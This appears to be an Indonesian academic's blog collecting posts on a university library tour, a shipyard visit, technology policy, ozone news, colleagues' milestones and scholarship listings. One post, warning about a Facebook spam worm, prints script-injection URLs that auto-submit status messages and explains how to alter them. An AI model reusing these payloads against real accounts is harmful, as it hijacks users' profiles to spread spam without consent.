Dengan tingginya harga minyak dunia dan terbatasnya ketersediaan panas bumi, energi nuklir perlu dikembangkan. Mantan Presiden Greenpeace Patrick Moore mengatakan bahwa sampah (limbah) dari PLTN sangat sedikit. Hal itu dikarenakan dalam menghasilkan listrik besar, PLTN hanya memerlukan sedikit uranium.

“Limbahnya disimpan dalam cara yang aman. Tidak likuid, tidak korosif, hanya berbentuk pelet kecil. Katakanlah 1GW listrik hanya 80 ton sampahnya,” ungkap Moore. (ML/OL-04()

Modern Digital Library – UI

MODERN DIGITAL  LIBRARY – UI

Bahwa  Univ  Indonesia  akan  mempunyai  perpustakaan yang terbesar dan termodern di Asia Tenggara, barangkali anda sudah pernah mendengar, baik melalui pemberitaan dari mulut ke mulut maupun dari media massa cetak beberapa waktu yang lalu.

Namun seperti apakah wujudnya library itu ?

Mungkin jarang atau belum ada diantara kita  yang sudah pernah melihat wujudnya…

Tak dinyana tak diduga… tahu-tahu pagi tadi saya mendapat kesempatan yang langka untuk melihatnya dengan mata kepala sendiri jeroan perpustakaan itu seperti apa. Bahkan diantar dan di guide sendiri oleh ‘seseorang’ yg istimewa, nanti saya ceritakan siapa dia.

Datang terlambat di gedung DRPM, janji jam 10 dengan pak Ibus Dir Makara Mas dan Prof Ricky Wee (dari  Imitsu, inventor Self Generated Power Supply*- ada sedikit info dibawah) bersama rombongannya. Yah karena terlambat tahu-tahu semua sudah visit ruang seminar, banyak yg sudah hadir a.l. Jonna, Anang, Budi, p Salahuddin. Jadi rencananya di ruangan yang baru itulah bulan Juni nanti kami akan mengadakan seminar dengan mengundang berbagai pihak untuk menunjukkan bahwa Indonesia bisa lebih unggul dari negara2 lain dengan penemuan energy Listrik dengan sumber power supply yang bersih tanpa energy fosil, green, silent… dst (cerita ini nanti dilanjutkan krn kita focus ke library dulu).-

Pak Ibus pulang lebih duu karena mau ngajar, menjelang jam 11.30 kami semua keluar mau pulang masing-masing membawa payung karena hujan diluar. Waktu kami mau saling berpisah… tahu-tahu… datang seseorang bertopi jaket hitam mendekat…

Wah rasa-rasa kenal nih… pernah koq saya melihat wajahnya… Setelah dekat malah saya yang ditegur,

“Pak Ral’… lho… baru saya tersadar ternyata orang ini…

Rektor UI – Prof Gumilar, yang datang sendiri berjalan kaki di tengah hujan. Setelah salaman beliau saya perkenalkan dengan Prof Ricky Wee. Omong punya omong pak Rektor menawarkan kami untuk sight-seeing gedung perpustakaan yang baru. Sekalian beliau ngecek persiapan untuk soft-launching gedung baru 8 tingkat ini yang rencananya akhir bulan Mei.

Jadilah kemudian kami mengunjungi ruangan demi ruangan sambil diguide dan dijelaskan segala sesuatunya oleh bapak Rektor sendiri. Kelihatannya beliau sangat antusias sekali, karena

-          Modern digital and multimedia library –

Ini akan menjadi ikon kebanggaan Universitas Indonesia di masa depan.

Mari kita lihat sedikit foto-fotnya dan di akhir nanti ada video sight seeing kami bersama bapak Rektor UI dan Prof Ricky Wee.

Ruang Seminar modern dengan multimedia, bisa memuat 200 orang.

Tersedia juga ruang diskusi kelas yang bisa memuat 50 orang dengan pemandangan kearah danau yang indah. Tentu ada juga ruangan seperti perpustakaan tradisional yang berisi buku-buku. Tempat untuk group discussion, ruang belajar dan riset, ada ruang yoga, dance hall, banyak lagi yang saya tidak ingat.

Pak Rektor sedang menjelaskan apa-apa saja fasilitas modern yang ada di gedung ini. Studio musik juga tersedia dimana bisa membuat recording, bahkan ada ruang teater full akustik.

Mari kita lihat juga beberapa videonya.-

Di video nanti anda akan lihat juga sebuah hall besar berisi 1000 komputer station Apple setara ipad II (kalo ini saya sendiri yg ngomong, tapi jumlah 1000 nya beneran). Disitu anda bisa cari ebook apa aja yang eksis di dunia baik maya maupun nyata. Internet katanya kecepatan tinggi… gak tahu berapa ? kali 200 km/jam… Kan katanya kecepatan tinggi… sama dong sama Ferrari.

Untuk Ganjar

Mau ikut Do’ain utk Pak Gandjar (masih boleh kan yah Prof Ral) ^^
Moga di sisa umur, beliau Makin sukses dalam karir, prestasi & Ibadah plus yAng Pastinya Makin Barokah hidupnya (Ziyadatul khoir a’laa Khoir – brtambah kebaikan diatas/didalam kebaikan,
klo gk salah sprti itu deh yg sy denger dr seorang ustadz ttg makna barokah ).
&Utk Prof Raldi juga, Sukses-Sehat selalu Pak…
Moga ttp truz berkarya & ttp mnjadi Inspirasi utk kami (Mantan Mahasiswa, Mahasiswa & Calon Mahasiswa nantinya),, ;D ” Like Master Like Disciple “
=0=
Kayanya banyak pahalanya nih si so’im. Soalnya bah arabnya canggih, tp bah inggrisnya sy rada2 gak ngerti… salam.-

Ekskursi Galangan Kapal

Studi Ekskursi mahasiswa Program Studi Teknik Perkapalan FTUI dipimpin oleh bapak dosen Mukti Wibowo, telah dilaksanakan pada tanggal 03 Mei 2011. Anak Buah Kapal berjumlah 43 orang telah bertandang ke galangan kapal di Merak milik PT Caputra Mitra. Berbagai jenis kapal yang sedang dibuat maupun direpair telah dilihat dengan mata kepala sendiri, dengan demikian ABK sedikit lebih bisa memahami tentang proses pembuatan maupun repair beberapa jenis kapal. Pengenalan terhadap material kapal terkini juga dijelaskan oleh staf PT Caputra.

Kapal baik yg sedang dalam fabrikasi maupun yang di repair telah dilihat oleh para mahasiswa dengan termangu-mangu sambil berpotret ria sana sini… Diantara jenis kapal yang ada disana tongkang, tugboat, kapal pesiar, crew boat dll.-

Dan yang lebih asyik.. pulangnya para ABK ditraktir makan minum gratis di rumah makan padang sederhana di rest area km-45 jalan tol Merak, oleh pak Bowo sehingga mereka pulang dengan tertawa-tawa sendiri dan adapula yang tertawa bersama-sama karena kenyang dan senang…

Lihat video,

Klik video ABK makan bersama setelah lelah studi tour…

(ABK boleh kasi komen…).-

Tanggapan Gelisah Teknologi

Oleh: Hari Satriyo

E-mail hari@informatika.lipi.go.id

Terima kasih pak Adriano atas pencerahannya. Apa sih arti Hari Satriyo Basuki di R&D Center. Saya pernah kerja di Lembaga Elektroteknika Nasional yang sekarang jadi LEN INdustri dimana dulu he he he duluuuu sekali sudah direncanakan untuk menelriti dan membuat transistor dengan menduplikat yang ada dan cukup berhasil. Akan tetapi penelitian elektronika itu tidak sesederhana dan sesingkat serta semurah itu.

Kami waktu itu sudah bangga sekali akan tetapi perkembangan di luar sedemikian pesatnya dan nggak terkejar oleh kami damn kita Indonesia.Alatnya yangs edemikian muahalnya, rangkaiannya yang sudah sedemikian kompleksnya dan sebagainya, dan kalau di kembalikan ke cerita india rancho maka hal itu tidak mungkin, apakah kita mau membuat komputer PC yang sebesar 3 kamar tidur lagi? Walau dapat berfungsi tetapi bukan jamannya dan akan nggak ada yang makai.

Jangan terlalu pesimis pak, coba liat Hartono Istana elektronika yang membuat Polytron dari Lemari es sampai TV Plasma, PT Panggung Elektronik yang membuat dengan merk AKIRA dan lainnya walau dengan duplikasi tetapi ada sentuhan teknologi dan terjual di Jerman dll dengan merk Jerman. OEM. SDM IPTEK tidak hanya yang di Pemerintahan tetapi di Industri juga ada dan banyak yang berhasil. Pernah baca pencakar langit tertinggi didunia di Dubai? Salah satu perncangnya dari Indonesia.

Saya sendiri juga nggak suka dengan kemunduran teknologi tetapi ya mungkin yang di atas sebagai penentu negara ini maish memekikr pengembangan ditempat lain. Jangankan hanya beli peralatan pembuat komponen elektronika yang milyardan atau pembuat gas untuk AC atau pembuat bahan kapal terbang, untuk minta osciloscope atau alat ukur seharga 10 jutaan saja nggak disetujui, mana bisa kita bersaing dengan Hartono dan Panggung dibidang elektronika. Mungkin koment saya terlalu panjang pak dan yang pasti ya saya juga gelisah tetapi apa sih yang bisa dilakukan oelh saya?

Lapisan Ozon Makin Parah

INILAH.COM, Vienna – Kondisi lapisan ozon Kutub Utara makin parah di musim dingin ini. Kondisi ini disebabkan cuaca dingin di bagian atas atmosfer. Seperti apa?
Pada akhir Maret, 40% lapisan ozon stratosfir rusak. Tingkat kerusakan ini meningkat dari sebelumnya yang hanya berkisar 30%. Seperti diketahui, lapisan ozon melindungi manusia dari kanker kulit.
Namun kini, lapisan itu rusak karena polusi industri kimia. Seperti dikutip BBC News, kerusakan yang terjadi merupakan reaksi dari kondisi dingin stratosfer akibat polusi industri kimia.
Melalui perjanjian Montreal Protocol dari PBB, beberapa zat kimia dilarang digunakan karena keberadaanya bisa bertahan lama di atmosfer hingga puluhan tahun. Perjanjian Montreal Protocol 1987 melarang penggunaaan zat Chlorofluorocarbon (CFC) yang banyak digunakan pada lemari es.
WMO memaparkan data ini di ajang tahunan European Geosciences Union (EGU) di Vienna, Austria. Meski mendinginnya stratosfer merupakan peristiwa tahunan di kutub selatan, gambaran kutub utara masih belum bisa diprediksi.
“Tingkat kerusakan lapisan ozon di musim dingin tergantung pada kondisi meteorologi,” ungkap Sekjen World Meteorogical Organization (WMO) Michel Jarraud.
Kerusakan lapisan ozon pada 2011 menunjukkan, manusia harus waspada dan menyadari situasi kutub utara untuk beberapa waktu ke depan, lanjutnya.
Rusaknya lapisan ozon membuat sinar ultraviolet-B berbahaya bisa masuk melewati atmosfer. Sinar inilah yang menyebabkan kanker kulit, katarak, dan kerusakan sistem kekebalan tubuh. WMO memperingatkan warga dunia mewaspadainya. [mor] (salinan dari inilah.com).-

Gandjar Ultah

Wakadep DTM FTUI Dr Ir Gandjar Kiswanto, berulang tahun kemarin tgl 20 April 2011. HUT nya ini dirayakan dengan sangat meriah, sambil tiup lilin mecahin balon dan makan bersama di restoran

BUMBU DESA

di Margo City yang tentunya amat sangat lezat.

Mari kita doakan agar pak Gandjar, sukses dalam karier, selalu sehat (walau report MCU nya kemarin kurang meyakinkan) dan…

SEMAKIN LUCU…

Mari kita lihat videonya:

Kesan mahasiswa

Bagian ini nih….ok secara jujur saya sangat mengapresiasi cara mengajar Pak Raldi dalam menyampaikan materi, dalam memberikan tugas. Pak Raldi lepas banget waktu di kelas seakan-akan kelas merupakan panggungnya dan kita adalah fansnya. Dia bisa menghipnotis bola mata kita kemana dia bergerak kita ikuti. Mengkin hal ini beliau peroleh karena beliau sudah senior dan menjadi dosen sudah lama dan tentu saja karena factor x. Apa itu factor X? pasti semua teman-teman sudah tahu. Factor X nya adalah pengalaman manggung. Ga semua orang bisa relax santai lho diatas panggung. Apalagi dengan pengalaman disururh turun dari panggung Java Jazz itu pasti pengalaman berharga dan tidak akan diulangi untuk kesempatanu manggung berikutnya. Ya benar benar kelas ini metode pengajarannya sangat luar biasa..inilah kelas yang saya impikan waktu saya masih duduk di SMP. Saya menginginkan kelas yang dikelas tidak hanya mencekoki kita meteri tanpa ada action garing banget. Eh ternyata ketemu juga dosen yang gokil berani OUT OF THE BOX ini nih dosen yang harus diperhatiin UI serta Ui harus mencari bakat bakat dosen “gila” seperti ini. Supaya mahasiswanya ga hanya tahu isi buku ini, isi buku itu tapi juga bisa mendapat pengalaman belajar yang aktif, produktif penuh dengan action. Pengalaman pertama yang kocak waktu kelas etijing ini adalah materinya bebas banget sesuai ama keadaan sekarang UP TO DATE jadi kita anak muda enak menyikapinya. Tidak seperti kelas sebelah yang hanya diam saja terpaku pada buku. Di tambah lagi tugas visitnya yang mantep jadi benar-benar melebur dengan kaum marjinal. Apalagi proyek UAS tentag proyek nyata dalam yang bisa diimplementasikan dan menambah nilai fungi buat masyarakat sekita ide genius dan brilliant tuh. Memang tujuan pak Raldi adalah sesuai dengan nama mata kuliahnya yaitu etika engineering yang pasti anak teknik biasanya suka yang riil ga suka yang di cekokin kata-kata. Etika engineering merupakan dua kata yang cocok buat anak teknik untuk mencoba berbuat riil dalam masyarakat. Pokoknya ga salah lah teman saya merekomendasikan mata kuliah ini dengan dosen Pak Raldi.

Pengalaman yang tak terlupakan buat saya waktu di kelas adalah dosen gokil yang memamerkan group bandnya THE PROFESSOR waktu ngeband sama THE CHANGCUTERS dengan judul lagu I Love You Bibeh. Ditambah lagi dengan Live performance dikelas he he he.

Ada beberapa kata-kata yang saya petik dari kelas ini adalah :

“dahulukan kehendak orang tua, niscaya keinginan kita akan tercapai”

“Orang yang mempelajari
bisnis tidak akan menjadi pebisnis, Tetapi orang yang mencoba bisnis akan menjadi pebisnis”

 

“Bisnis itu Permaianan, bukan ilmu pengetahuan”

 

    Itu merupakan kata-kata yang saya tangkap dari slide maupun perkataan Pak Raldii yang telah menginspirasi saya. Terima kasih Pak atas waktunya dan pengalaman yang paling berharga. He he he

 

O ya ada tugas yang belum bisa ke jawab nih dari Pak Raldi :

 

“tulisan apa yang ada di jembatan perbatasan itu?(saya lupa negaranya)”

 

Ok saya akan jawab sebentar lagi pak AS SOON AS POSSIBLE

 

(Muhammad Iqbal Rois).-

SEBUAH GELISAH TENTANG TEKNOLOGI

SEBUAH GELISAH TENTANG TEKNOLOGI

 Oleh : Adriano Rusfi

Malam ini saya tidak bisa tidur. Ini pasti gara-gara telah lebih dua minggu tak habis pikir : bahwa bangsa ini, sekadar punya kuda-kuda untuk mengambil alih teknologipun tak mampu. Ya, sekadar kuda-kuda. Tapi itu begitu penting. Saya ingat film The American Shaolin, bahwa ilmu pertama yang diajarkan di Biara Silat itu adalah kuda-kuda. Dan itu tiga tahun lamanya, hanya untuk kuda-kuda !!!

Tak habis pikir… lalu tak bisa tidur… Karena akhirnya saya berujung gelisah di tengah malam : bolehkah saya menggugat dan menghujat ? Bukankah saya hanya seorang psikolog yang tak berhak menjadi juri atas kompetensi atau impotensinya para teknolog kita ? Mungkin yang harus saya kutuk adalah keputusan saya untuk menerima tawaran survey tentang SDM IPTEK di dunia industri kita. Lalu survey “celaka” itu menghasut saya untuk menancapkan sebuah kesimpulan brutal : SDM IPTEK industri itu hampir-hampir tak ada !!!

Bah… nekad, menafikan segala ikhtiar puluhan tahun dari ribuan karyawan Research and Development (R&D) yang telah menguras rupiah dan pengorbanan yang tak sedikit. Baiklah… tapi, apa yang telah dihasilkan ? Saya hanya melihat para pekerja kreatif dan tukang-tukang berpengalaman yang berhasil merubah gelas berbibir bulat menjadi segi tiga. Apakah itu yang disebut sebagai SDM IPTEK ? Bukankah SDM IPTEK itu seharusnya adalah saintis dan teknolog yang menggunakan seluruh ikhtiar ontologis, epistemologis dan aksiologis untuk menggambarkan, menjelaskan, meramalkan, mengendalikan dan merekayasa gejala-gejala ilmiah ? Atau, mungkin saya yang tak mengikuti perkembangan, bahwa belakangan antara teknolog dan teknisi sebenarnya adalah barang yang sama. Bahwa antara implementator dan operator bukan lagi hal penting untuk dipilah. Entahlah…

Sebenarnya saya telah berusaha untuk salut dan berjuang untuk bangga. Lihatlah, nun di sana telah ada “SDM IPTEK” kita yang mampu merubah knalpot sepeda motor tetap bekerja baik di dalam genangan banjir. Di sudut yang lain saya mendecakkan kagum kepada sekelompok doktor yang telah menerbangkan besi ke langit. Namun entah kenapa, saya tiba-tiba saja kehilangan selera setelah tahu bahwa sang modifikator knalpot canggih itu ternyata bahkan tak mampu menciptakan sebatang knalpot paling generik sekalipun, sepenuhnya dari nol. Dan apa yang harus saya gumamkan kalau ternyata para doktor perakit pesawat itu ternyata tak kuasa membuat transportasi yang lebih primitif dari itu : mobil. Beribu maaf… perakit, ternyata bukan pencipta.

Mungkin malam ini saya tak bisa tidur, ulah mimpi sendiri yang saya buat terlampau fatal. Betul, saya terlanjur bermimpi bahwa seorang pakar adalah seorang yang tiba-tiba saja menyicip segelas ramuan asing, lalu serta-merta menari kegirangan sambil setengah menjerit, “A-ha ! Saya tahu kandungannya dan saya bisa membuat resepnya !”. Ya, dia Sang Koki Agung ! Dia membuat resep… Dia bukan pengemis yang meminta agar koki asing membocorkan rahasia ramuannya. Dia bukan pencuri formula yang mengendap di tengah malam menyelundupkan sebuah paten yang telah dikreasikan oleh orang lain dengan susah-payah. Dan dia pasti bukan tukang sampah yang menerima formula kadaluarsa atas nama belas kasih “alih teknologi”.

Mungkin tak ada yang dapat saya salahkan jika malam ini saya kehilangan selera kantuk. Toh saya hanya ditipu oleh mata dan sangka saya sendiri. Saya kira, jika seorang pemain basket telah begitu mahirnya menyarangkan Slam Dunk ke keranjang lawan, berarti dia adalah pemain basket tingkat atas. Saya hanya terlalu naïf untuk paham bahwa, di negeri ini, ada orang-orang yang telah berlatih Slam Dunk sebelum benar-benar menguasai dasar-dasar bermain basket. Permainan mereka begitu menawan dan akrobatis, namun sekaligus begitu menjengkelkan. Ya… menjengkelkan ! Karena mereka hampir selalu urung mewujudkan target sebuah pertandingan : Kemenangan !!! Sobat teknolog yang budiman, target pertandingan itu kemenangan, bukan Slam Dunk. Apa artinya inovasi, jika bahkan melakukan duplikasi sempurnapun kita belum bisa ???

Telah jam satu malam… Dan mata saya nanar menerawang ke masa silam. Ke kisah seorang teman yang kuliah di Teknik Mesin dan mengambil Tugas Akhir di bidang Mesin Pendingin. Ia lalu bekerja selepas lulus, membawa selembar ijazah dan idealisme : ia ingin alih teknologi. Dan iapun bekerja di sebuah perusahaan AC. Suatu malam nasionalismenya telah menggerakkan tangannya untuk mengambil tindakan heroik. Ia curi sebuah prototip AC dan menyelusupkannya pulang. Tiga tahun ia berburu misteri dan rahasia di lorong-lorong AC itu. Dan pada akhirnya ia menelpon saya, “Aku gagal”. Entahlah, ia telah belajar apa saja selama kuliah. Mungkin belajar mesin, tapi bukan filsafat mesin . Mungkin tentang pendingin, tapi bukan hakekat dingin. Mungkin tentang AC, tapi bukan formulanya. Ah… entahlah…

Seharusnya teman saya berganti nama saja dengan Samsung, industrialis Korea, mungkin guratan tangannya akan berbeda. Tadi siang saya baru saja bertandang ke sebuah lapaknya pada ajang Bazaar Bezar Bezaran di Jakarta Convention Center. Samsung buat dan jual apa saja, dengan cara yang paling memikat : ya mutunya… ya desainnya… ya teknologinya… ya harganya… Ia kompeten di televisi, komputer, printer, kamera, ponsel, tablet PC, dan masih banyak. Hampir saya membeli sebuah netbook keluarannya. Desainnya futuristik, spesifikasinya bersaing dan baterenya tahan 14 jam.

Tapi tidak. Samsung bukan bisa mencipta segalanya. Samsung hanya menguasai elektronika : hanya itu !!! Para koki R & D nya tidak belajar ponsel, atau komputer, atau kamera, atau televisi. Tidak ! Mereka hanya belajar elektronika. Mereka cukup tahu diri dan rendah hati, bahwa mereka harus memulai segalanya dari duplikasi, bukan inovasi. Mereka sadar, jika mereka telah menyadari esensi cukup sekali, maka selanjutnya mereka akan menghasilkan seribu satu turunannya dengan begitu mudah. Dan kuncinya hanya satu, berpikir sederhana : Principle of Parsimony !!! Bukankah ciri seorang pakar sejati adalah seorang yang pemikirannya mudah dimengerti awam ?

Mungkin itu yang dimaksudkan dengan sebuah Center of Excellence. R & D bukanlah sebuah pabrik, dan SDM-nya seharusnya bukan para juru masak. Dia adalah sebuah pusat, dan harus berpikir terpusat, bukan macam-ragam. Center of Excellence seharusnya adalah penghasil brainware, bukan software, apalagi hardware. Software dan hardware adalah ulah kelakuan para pabrikan, bukan ulah perbuatan SDM IPTEK yang berhimpun di R & D. SDM IPTEK Samsung adalah koki pencipta resep dan formula, sedangkan pabrikannya adalah juru masak yang melahirkan produk dan benda. Karena Center of Excellence bukanlah Center of Competence.

Sudahlah… terlalu malam hati ini untuk dibakar cemburu kepada Samsung. Toh wajar, mereka memang lebih dekat dengan biara Shaolin. Mereka mungkin telah belajar sabar untuk menguatkan kuda-kuda tiga tahun lamanya. Mereka, dan hampir seluruh peradaban Asia Timur, adalah orang-orang yang sabar dan pekerja keras. Maka, Jepang lebih memilih Kaizen yang merayap namun pasti (continuous improvement), ketimbang konsep Innovation yang melompat dan meletup. Ya… nun di pertengahan abad ke 19 mereka memilih restorasi (renovasi) bukan inovasi. Sudahlah… toh kita tak sama dengan mereka : mereka sabar, dan kita pengambil jalan pintas.

Tampaknya India pun memilih belajar ke para tetangganya di Timur itu untuk maju menapak. Sebuah dialog dalam film The Three Idiots secara tajam menyiratkan itu : Sebuah kisah tentang Sang Rektor berpendidikan Barat yang dengan bangganya menceritakan tentang inovasi berbiaya 150 Juta Dollar Amerika oleh NASA, agar sebuah pena mampu memuncratkan tintanya di ruang hampa udara antariksa. Namun, Sang “Idiot” India bernama Rancho menampiknya dengan logika sederhana,

“Jika tinta tak memancar di luar angkasa, kenapa tak digunakan pinsil saja ???”.

Ya, yang sering kita lupa, bahwa duplikasipun adalah sebuah langkah awal yang paling cerdas. Dan yang dibutuhkan hanya ini : Sebuah kejeniusan yang idiot !!!

India telah mempersonifikasikan dirinya ke dalam sosok Rancho, yang menertawakan sekian banyak kerumitan, textbooks dan rumus-rumus tanpa hati, lalu menawarkan kesederhanaan.

Menggelisahkan… sementara kita sebagai bangsa justru telah kehilangan daya abstraksi, daya ekstraksi, kemampuan meracik-ramu, atau kecakapan susun-tata, yang merupakan modal dasar untuk menjadi peneliti dan perekayasa. Kita kehilangan imajinasi sejak dini, ketika dongeng telah digusur oleh baca-tulis-hitung di usia TK, padahal itu syarat abstraksi dan formulasi. Kita kehilangan kemampuan mapping, ketika kertas gambar putih telah digantikan begitu cepatnya dengan kertas bergaris, padahal itu modal konstruksi. Kita kehilangan kreativitas, persis saat hak belia kita untuk melakukan deformasi dan “merusak”, digantikan secara kejam oleh format-format kurikulum pembelajaran pra-sekolah yang “santun dan membangun”. Padahal, untuk membangun bumi ini Tuhan sengaja mengutus makhluk perusak : Kita, manusia !!!

Jakarta, Dinihari 10 Maret 2011

Adriano Rusfi

Peneliti SDM

Tetangga Sebelah Kamar

Tetangga Sebelah Kamar Prof Bangsur.-

(Prof Dr Ir Bambang Suryawan MT)

Karena sudah diberi peringatan untuk kesekian kalinya oleh Ardi, bersegeralah saya untuk menulis seada-adanya agar buku kenangan yang ditujukan untuk mengenang persahabatan yang tiada akhir ini berisikan juga coret-coretan saya. Bukankah yang penting partisipasi dan kebersamaan (demikianlah kata orang…).

Prof BS yg rambutnya sedikit...

 

 

 

 

 

 

 

 

Walau saya punya dua tetangga, tetapi yang satu sunyi banget alias gak pernah ngantor di ruangannya, sedangkan yang lain inilah mas Bangsur (mohon maaf gelarnya tidak saya tulis lagi karena panjang banget dan kita2 toh sudah tahu), malah kebalikannya, orang yang paling sering saya gangguin dengan kegiatan saya yang bermacam-macam, terutama beberapa tahun terakhir ini, yang orang bilang ‘sok jadi pengusaha’. Karena rapat yang sering saya adakan tanpa rencana, bikin gaduh ruangan, apalagi yang diomongin kadang tentang ‘duit gede’ padahal untungnya tak kunjung datang, malah kebanyakan babak belur. Berkaitan dengan itu, sekarang ini, daripada –enggak- sama sekali, sekaligus baru lewat lebaran beberapa hari:

“Saya mohon maaf sebesar-besarnya atas gangguan saya pada mas Bambang… bahkan sekalian maaf lahir batin…”.

Yang jelas rapat-rapat gelap saya itu amat sangat sering mengganggu TIDUR SIANG mas Bambang…

Hal lain yang mempererat tali silaturahmi saya dengan mas Bambang ini adalah… SAMA-SAMA INGIN BERDIET.

Dan kelihatannya kami berdua sama-sama SUKSES dan berhasil. Karena walaupun kami berdua sama-sama diet tapi tujuan saya adalah memperkecil lingkar perut, sedangkan tujuan mas Bambang adalah memperbesar lingkar pinggang. Untuk itu kepada beliau kita ucapkan selamat dan sukses, semoga selalu sehat walafiat.

Ah… tak terasa lho hidup ini kata orang ‘tahu-tahu’. Tahu-tahu rambut sudah menipis, tahu-tahu rambut sudah memutih, tahu-tahu sudah selesai masa bakti. Tak terasa, sudah lewat puluhan tahun jadi pegawai negeri. Alhamdulillah semua terlampaui dengan selamat…  Dan… kita akan berhenti JADI TETANGGA… Huk huk huk… Sa’diah.

-Yang pasti: Kita tidak akan pernah berhenti menjadi SAHABAT… seperti kepompong yang akan menjadi kupu-kupu-.

(Ral 15Sep10).-

Peer Review

Proses untuk menjadi Guru Besar tidaklah mudah. Setelah melalui jabatan Lektor Kepala, dosen harus mengumpulkan sejumlah angka kredit (kum) tertentu baik untuk bidang penelitian maupun pengajaran. Di DTM Dep Teknik Mesin proses ini sudah berjalan relatif lancar dimana angka kredit yg diajukan diseleksi dulu oleh Peer secara internal. Kemudian akan dikirim juga ke external reviewer dari Universitas lain.
Kali ini Peer untuk kandidat GB

M Idrus Alhamid

sedang bekerja. Lihat mereka dengan serius membahas paper2 yg diajukan. Diantaranya adalah Prof Nandy Putra,Prof Yulianto, Dr Gandjar dan prof Raldi.

Bahaya tinyurl di FB

Oleh: Mamakey (programmer Linux)
Barusan saya melihat status orang yang hampir sama. Awalnya saya kira ini memanfaatkan aplikasi facebook. Setelah dikopi paste dengan wget diterminal. Beginilah hasilnya :
http://tinyurl.com/sampahh berubah menjadi :

http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt=’%3Cscript%3Ewindow.onload=function(){document.forms[0].message.value=’jangan%20salahin%20w%20kalo%20lo%20bakal%20ngakak%20ngeliat%20ni%20orang%20:D%20http://tinyurl.com/sampahh’;document.forms[0].submit();}%3C/script%3E

Huh …tinyurl-nya berfungsi untuk menyembunyikan javascriptnya
kalau kita decode jadilah seperti ini

http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt=’window.onload=function(){document.forms[0].message.value=’jangan salahin w kalo lo bakal ngakak ngeliat ni orang http://tinyurl.com/sampahh';document.forms[0].submit();}

Dasar orang isenk Bukan virus, tapi ya mengubah satus kita sesuai denan message value di atas.

Update : ini juga

http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt=’window.onload=function(){document.forms[0].message.value=’ini fotoku wkt lg ML http://tinyurl.com/rahasiapribadiku';document.forms[0].submit();}

untuk membuat ini cukup mudah
cukup kopi link diatas kemudian ganti bagian message.value.
contoh :
ini testing dari mamakey http://tinyurl.com/mamakey
maka tertulis :

http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt=’window.onload%3Dfunction(){document.forms[0].message.value%3D’ini testing dari mamakey %3AD http%3A%2F%2Ftinyurl.com%2Fmamakey’%3Bdocument.forms[0].submit()%3B}’
Silahkan saja klik link diatas dan hapus pada wall anda

update lagi :

sekarang mereka tidak memakai tinyURL tapi memakai IFRAME untuk melakukan scripting.. huh jahat. Ketemu scriptnya disini :

http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt=%27%3Cscript%3Ewindow.onload=function%28%29%7Bdocument.forms%5B0%5D.message.value=%27Masihadaorangygmauterkenaldankayarayadenganmemujasetan,termasuksalahsatugrupbandterkenaldiIndonesiackckckck….bacaselengkapnyadihttp://tinyurl.com/4fqudco%21%21%21%27;document.forms%5B0%5D.submit%28%29;%7D%3C/script%3E
terima kasih Fuad for pointing me

Beasiswa Amerika Eropa

Scholarships – United States

Mathematics, Science and Engineering Transfer Scholarships (M-SETS)
Cañada College, USA
Scholarship / Financial aid: 140 scholarship awards offered
Date: up to three years
Deadline: April 15, 2011
Open to: citizens or nationals of the United States
Website:

http://www.eastchance.com/news.asp?q=1781,us,sch&issue=20110327&utm_source=eastc\

hanceMailingGroups&utm_medium=email&utm_campaign=20110327

Scholarships – European Union

The Einstein Fellowship
Caputh, Brandenburg, Germany
Scholarship / Financial aid: accommodation, a stipend of EUR 10,000 and
reimbursement of travel expenses offered
Date: five to six months
Deadline: May 20, 2011
Open to: applicants under 35 which hold a university degree in the humanities,
in the social or natural sciences
Website:

http://www.eastchance.com/news.asp?q=748,eu,sch&issue=20110327&utm_source=eastch\

anceMailingGroups&utm_medium=email&utm_campaign=20110327

Project Research Interns
National University of Ireland, Galway
Scholarship / Financial aid: undefined
Date: 3 months
Deadline: April 30, 2011
Open to: see Essential Skills please
Website:

http://www.eastchance.com/news.asp?q=749,eu,sch&issue=20110327&utm_source=eastch\

anceMailingGroups&utm_medium=email&utm_campaign=20110327

Master in Advanced European and International Studies – M.A.E.I.S.
France / Turkey
Scholarship / Financial aid: a limited number of fellowships can be awarded
Date: 2011 / 2012
Deadline: 30 June 2011
Open to: students who have completed their undergraduate studies
Website:

http://www.eastchance.com/news.asp?q=750,eu,sch&issue=20110327&utm_source=eastch\

anceMailingGroups&utm_medium=email&utm_campaign=20110327

Visiting Fellowships for Social Scientists
University of Mannheim, Germany
Scholarship / Financial aid: two fellowships offered
Date: up to one year
Deadline: April 30, 2011
Open to: social scientists (sociologists or political scientists) with a Ph.D.
(or equivalent)
Website:

http://www.eastchance.com/news.asp?q=751,eu,sch&issue=20110327&utm_source=eastch\

anceMailingGroups&utm_medium=email&utm_campaign=20110327

Scholarships – CEE States

2011 Dr. Erhard Busek – SEEMO Award for Better Understanding in South, Eastern
and Central Europe
South-Eastern Europe
Scholarship / Financial aid: award of 3,000.00 EUR
Date: N/A
Deadline: 25 May 2011
Open to: journalists, editors, media executives, media experts, writers in South
Eastern Europ
Website:

http://www.eastchance.com/news.asp?q=21,cee,sch&issue=20110327&utm_source=eastch\

anceMailingGroups&utm_medium=email&utm_campaign=20110327

Summer courses – European Union

The 6th Summer School in Anthropology, Ethnography and Comparative Folklore of
the Balkans
Konitsa, Greece
Scholarship / Financial aid: accommodation, meals and travel expenses are
covered
Date: 27 July – 11 August 2011
Deadline: May 15th 2011
Open to: senior year undergraduate, MA and doctoral students from any Balkan,
European or other country
Website:

http://www.eastchance.com/news.asp?q=338,eu,sco&issue=20110327&utm_source=eastch\

anceMailingGroups&utm_medium=email&utm_campaign=20110327

The Reasoning Web Summer School 2011
Galway, Ireland
Scholarship / Financial aid: none
Date: August 23-27, 2011
Deadline: 30 April 2011
Open to: international applicants
Website:

http://www.eastchance.com/news.asp?q=339,eu,sco&issue=20110327&utm_source=eastch\

anceMailingGroups&utm_medium=email&utm_campaign=20110327

Transparency International Summer School on Integrity
Vilnius, Lithuania
Scholarship / Financial aid: a limited number of competitive scholarships are
available
Date: 11 – 15 July 2011
Deadline: 15 May 2011
Open to: international students
Website:

http://www.eastchance.com/news.asp?q=340,eu,sco&issue=20110327&utm_source=eastch\

anceMailingGroups&utm_medium=email&utm_campaign=20110327

Black Sea Summer University
Constanta, Romania
Scholarship / Financial aid: undefined
Date: July 22th to 28th, 2011
